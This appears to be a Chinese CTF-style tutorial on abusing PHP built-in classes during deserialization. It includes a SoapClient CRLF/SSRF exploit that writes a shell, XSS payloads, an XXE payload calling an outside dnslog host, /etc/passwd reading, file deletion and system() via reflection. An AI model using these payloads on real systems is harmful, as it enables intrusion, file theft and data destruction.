Class Found
php中含魔术方法的内置类
<?php
$classes = get_declared_classes(); // 返回由已定义类的名字所组成的数组
foreach ($classes as $class) {
$methods = get_class_methods($class); // 返回由类的方法名组成的数组
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state'
))) {
print $class . '::' . $method . ";";
}
}
print "\n";
}
SoapClient::__call
可进行SSRF
range:PHP 5, PHP 7, PHP 8
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式,仅限于http/https协议
SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。
如果想要使用SoapClient类需要在php.ini配置文件里面开启extension=php_soap.dll选项
SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
use
SoapClient::__construct ( string|null $wsdl , array $options = [] )
$wsdl
:wsdl文件的uri,如果是NULL意味着不使用WSDL模式。$options
:如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
SoapClient::__call ( string $name , array $args ) : mixed
官方的$option
参数中有这样的一条介绍
The user_agent option specifies string to use in User-Agent header.
我们可以自己设置User-Agent
的值。当我们可以控制User-Agent的值时,也就意味着我们完全可以构造一个POST请求,因为Content-Type
和Content-Length
都在User-Agent
之下,而控制这两个是利用CRLF
发送POST请求最关键的地方。
Demo
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
@$a=$_POST[1];
@eval($a);
}
Exp
<?php
$target= 'http://127.0.0.1/demo.php';
$post_string= '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers= array(
'X-Forwarded-For:127.0.0.1',
'Cookie:admin=1'
);
$b= new SoapClient(null,array('location'=> $target,'user_agent'=>'wupco^^Content-Type:application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length:'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>"xxx"));
//因为User-agent是可以控制的,因此可以利用crlf注入http头部发送post请求
$aaa= serialize($b);
$aaa= str_replace('^^','%0d%0a',$aaa);
$aaa= str_replace('&','%26',$aaa);
echo $aaa;
$x= unserialize(urldecode($aaa));//调用__call方法触发网络请求发送
$x->no_func();
成功写shell
Error/Exception
XSS
range:Error(php7, PHP8), Exception(php5, php7, PHP8)
通过内置__toString()
魔术方法触发。
Demo
<?php
$a = unserialize($_GET['a']);
echo $a;
Error Class Exp
<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
#注意版本是PHP7
Payload
O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
Exception Class Exp
<?php
$a = new Exception("<script>alert(1)</script>");
echo urlencode(serialize($a));?>
Payload
O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A52%3A%22D%3A%5CDesktopFolder%5CCode%5CPhpCode%5CPhpStorm%5Ctest%5Ctest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
SimpleXMLElement
XXE
range:(PHP 5, PHP 7, PHP 8)
利用实例化该类的对象来传入xml代码进行xxe攻击,进而读取文件内容和命令执行。
payload
<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://suhk4i.dnslog.cn">%remote;]>
]>
<x>&xee</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>
SPL File Class
可遍历目录类
DirectoryIterator
range:(PHP 5, PHP 7, PHP 8)
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
FilesystemIterator
range:(PHP 5 >= 5.3.0, PHP 7, PHP 8)
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
#payload : cmd=glob:///*
GlobIterator
range:(PHP 5 >= 5.3.0, PHP 7, PHP 8)
<?php
highlight_file(__file__);
$dir = $_GET['cmd'];
$a = new GlobIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
#payload : cmd=glob:///*
可读取文件类
SplFileObject
<?php
highlight_file(__file__);
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo($f);
}
ZipArchive::open()
可进行文件删除操作
range:PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
ZipArchive {
/* 方法 */
public addEmptyDir ( string $dirname , int $flags = 0 ) : bool
public addFile ( string $filepath , string $entryname = "" , int $start = 0 , int $length = 0 , int $flags = ZipArchive::FL_OVERWRITE ) : bool
public addFromString ( string $name , string $content , int $flags = ZipArchive::FL_OVERWRITE ) : bool
public addGlob ( string $pattern , int $flags = 0 , array $options = [] ) : array|false
public addPattern ( string $pattern , string $path = "." , array $options = [] ) : array|false
public close ( ) : bool
public count ( ) : int
public deleteIndex ( int $index ) : bool
public deleteName ( string $name ) : bool
extractTo ( string $destination , mixed $entries = ? ) : bool
public getArchiveComment ( int $flags = 0 ) : string|false
public getCommentIndex ( int $index , int $flags = 0 ) : string|false
public getCommentName ( string $name , int $flags = 0 ) : string|false
public GetExternalAttributesIndex ( int $index , int &$opsys , int &$attr , int $flags = ? ) : bool
public getExternalAttributesName ( string $name , int &$opsys , int &$attr , int $flags = 0 ) : bool
public getFromIndex ( int $index , int $len = 0 , int $flags = 0 ) : string|false
public getFromName ( string $name , int $len = 0 , int $flags = 0 ) : string|false
public getNameIndex ( int $index , int $flags = 0 ) : string|false
public getStatusString ( ) : string
public getStream ( string $name ) : resource|false
public static isCompressionMethodSupported ( int $method , bool $enc = true ) : bool
public static isEncryptionMethodSupported ( int $method , bool $enc = true ) : bool
public locateName ( string $name , int $flags = 0 ) : int|false
public open ( string $filename , int $flags = 0 ) : bool|int
public registerCancelCallback ( callable $callback ) : bool
public registerProgressCallback ( float $rate , callable $callback ) : bool
public renameIndex ( int $index , string $new_name ) : bool
public renameName ( string $name , string $new_name ) : bool
public replaceFile ( string $filepath , string $index , int $start = 0 , int $length = 0 , int $flags = 0 ) : bool
public setArchiveComment ( string $comment ) : bool
public setCommentIndex ( int $index , string $comment ) : bool
public setCommentName ( string $name , string $comment ) : bool
public setCompressionIndex ( int $index , int $method , int $compflags = 0 ) : bool
public setCompressionName ( string $name , int $method , int $compflags = 0 ) : bool
public setEncryptionIndex ( int $index , int $method , string|null $password = null ) : bool
public setEncryptionName ( string $name , int $method , string|null $password = null ) : bool
public setExternalAttributesIndex ( int $index , int $opsys , int $attr , int $flags = 0 ) : bool
public setExternalAttributesName ( string $name , int $opsys , int $attr , int $flags = 0 ) : bool
public setMtimeIndex ( int $index , int $timestamp , int $flags = 0 ) : bool|null
public setMtimeName ( string $name , int $timestamp , int $flags = 0 ) : bool|null
public setPassword ( string $password ) : bool
public statIndex ( int $index , int $flags = 0 ) : array|false
public statName ( string $name , int $flags = 0 ) : array|false
public unchangeAll ( ) : bool
public unchangeArchive ( ) : bool
public unchangeIndex ( int $index ) : bool
public unchangeName ( string $name ) : bool
}
use:ZipArchive::open ( string $filename [, int $flags ] ) : mixed
flags:The mode to use to open the archive.
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖。ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。ZipArchive::RDONLY
:只读模式打开压缩包。PHP>7.4.3, PECL zip>1.17.1
ZipArchive::EXCL
:如果压缩包已经存在,则出错。ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
Demo
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
目录下的1.txt
将会被删除
Reflection
注释读取
range:(PHP 5, PHP 7, PHP 8)
方法参考:https://www.php.net/manual/zh/book.reflection.php
Example Class
class Apple {
public $var1;
public $var2 = 'Orange';
/**
* This is DocComment
*/
public function type() {
return 'Apple';
}
}
利用php反射类来进行操作
ReflectionMethod
继承ReflectionFunctionAbstract
这个抽象类,这个抽象类实现Reflector
接口
ReflectionFunctionAbstract
中有一个getDocComment
方法,用以获取函数的注释文本,注释文本需符合/**
开头的规范否则无法识别
$ref = new ReflectionMethod("Apple","type");
var_dump($ref->getDocComment());
string(39) "/**
* This is DocComment
*/"
同时这里还有一个ReflectionFunction
[new ReflectionFunction('system'),invokeArgs](array('aaa.txt'=>'dir'));
可执行函数调用
invokeArgs(args)
:The passed arguments to the function as an array, much like call_user_func_array() works.
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues